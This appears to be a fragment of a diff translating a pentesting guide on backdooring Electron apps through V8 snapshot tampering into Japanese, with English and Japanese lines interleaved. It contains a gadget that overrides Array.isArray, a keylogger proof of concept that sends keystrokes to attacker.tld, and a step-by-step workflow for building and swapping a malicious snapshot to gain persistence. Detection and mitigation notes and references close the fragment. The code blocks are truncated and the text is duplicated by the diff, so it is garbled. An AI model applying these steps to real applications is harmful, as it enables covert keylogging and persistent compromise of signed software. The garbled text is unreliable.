- Browser/renderer detection: ドキュメントコンテキストで実行している場合、Browser 専用のグローバルalert など)が利用可能です。
Isolate-aware payload routingmain と renderer で異なるコードを実行)
- Main process detection: process.pid、process.binding()、process.dlopen のような Node-only globals は main process isolate に存在します。
- Browser/renderer detection: alert のような Browser-only globals はドキュメントコンテキストで実行しているときに利用可能です。
main-process の Node 機能を一度だけプローブする Example gadget
メインプロセスの Node 機能を一度だけプローブする example gadget
```js
const orig = Array.isArray;
@ -510,7 +517,7 @@ process.exit(0);
return orig(...arguments);
};
```
Renderer/browser-context におけるデータ窃取 PoC (例: Slack)
Renderer/browser-context データ窃取 PoC (例: Slack)
```js
const orig = Array.isArray;
Array.isArray = function() {
@ -534,27 +541,31 @@ fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no
return orig(...arguments);
};
```
Operator workflow
1) Write payload.js that clobbers a common builtin (e.g., Array.isArray) and optionally branches per isolate.
2) Build the snapshot without Chromium sources:
オペレーターのワークフロー
1) 一般的な組み込み関数を上書きする payload.js を作成する(例: Array.isArray。必要に応じて isolate ごとに分岐してもよい。
2) Chromium のソースなしでスナップショットをビルドする:
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
3) Overwrite the target applications snapshot file(s):
- v8_context_snapshot.bin (always used)
- browser_v8_context_snapshot.bin (if the LoadBrowserProcessSpecificV8Snapshot fuse is used)
4) Launch the application; the gadget executes whenever the chosen builtin is used.
3) ターゲットアプリケーションのスナップショットファイルを上書きする:
- v8_context_snapshot.bin (常に使用される)
- browser_v8_context_snapshot.bin (LoadBrowserProcessSpecificV8Snapshot fuse が使われている場合)
4) アプリケーションを起動すると、選択した組み込み関数が使用されるたびにその gadget が実行される。
注意点と考慮事項
- 整合性/署名のバイパス: Snapshot ファイルは code-signing チェックでネイティブ実行ファイルとして扱われず、歴史的にElectron の fuses や Chromium の整合性制御の対象外だった。
- 永続性: ユーザー書き込み可能なインストールにある snapshot を置き換えると、通常アプリ再起動をまたぎ、署名済みの正当なアプリに見える
- Chromium ブラウザ: 同様の改ざんはユーザー書き込み可能な場所にインストールされた Chrome/derivatives にも当てはまる。Chrome は別の整合性緩和策を持つが、物理的にローカルな攻撃をその脅威モデルから明示的に除外している
- Integrity/signature bypass: スナップショットファイルはコード署名チェックでネイティブ実行ファイルとして扱われず、歴史的にElectron の fuses や Chromium の整合性制御の対象にはなっていませんでした。
- Persistence: ユーザ書き込み可能なインストール先のスナップショットを置き換えると、通常アプリ再起動後も持続し、署名済みの正当なアプリのように見えます
- Chromium browsers: 同様の改ざんは、ユーザ書き込み可能な場所にインストールされた Chrome/派生ブラウザにも適用されます。Chrome は他の整合性緩和策を持っていますが、物理的にローカルな攻撃を脅威モデルから明示的に除外しています
検出と緩和策
- Snapshot を実行可能コンテンツとして扱い、整合性強制に含めるCVE-2025-55305 fix
- 管理者のみ書き込み可能なインストール場所を優先する; v8_context_snapshot.bin と browser_v8_context_snapshot.bin のハッシュをベースライン化し監視する。
- 早期ランタイムでの builtin 上書きや予期しない snapshot の変更を検出する; デシリアライズされた snapshot が期待値と一致しない場合にアラートを出す。
Detection and mitigations
- スナップショットを実行可能なコンテンツとして扱い、整合性チェックに含めるCVE-2025-55305 fix
- 管理者のみ書き込み可能なインストール場所を優先するv8_context_snapshot.bin と browser_v8_context_snapshot.bin のハッシュをベースライン化し監視する。
- 早期ランタイムでの組み込み関数の上書きや予期しないスナップショットの変更を検出する。デシリアライズされたスナップショットが期待値と一致しない場合にアラートを出す。
## **References**
## **参考資料**
- [SecureLayer7: Electron Research in Desktop apps (Part 1)](https://blog.securelayer7.net/electron-app-security-risks/)
- [VS Code RCE PoC (CVE-2021-43908) electrovolt](https://github.com/Sudistark/vscode-rce-electrovolt)
- [GitHub Advisory GHSA-2q4g-w47c-4674 (CVE-2020-15174)](https://github.com/advisories/GHSA-2q4g-w47c-4674)
- [MSRC: CVE-2021-43908](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43908)
- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
- [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity)
@ -564,7 +575,6 @@ Operator workflow
- [Loki C2](https://github.com/boku7/Loki/)
- [Chromium: Disable loading of unsigned code (CIG)](https://chromium.googlesource.com/chromium/src/+/refs/heads/lkgr/docs/design/sandbox.md#disable-loading-of-unsigned-code-cig)
- [Chrome security FAQ: physically local attacks out of scope](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md#why-arent-physically-local-attacks-in-chromes-threat-model)
- [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
- [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
- [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)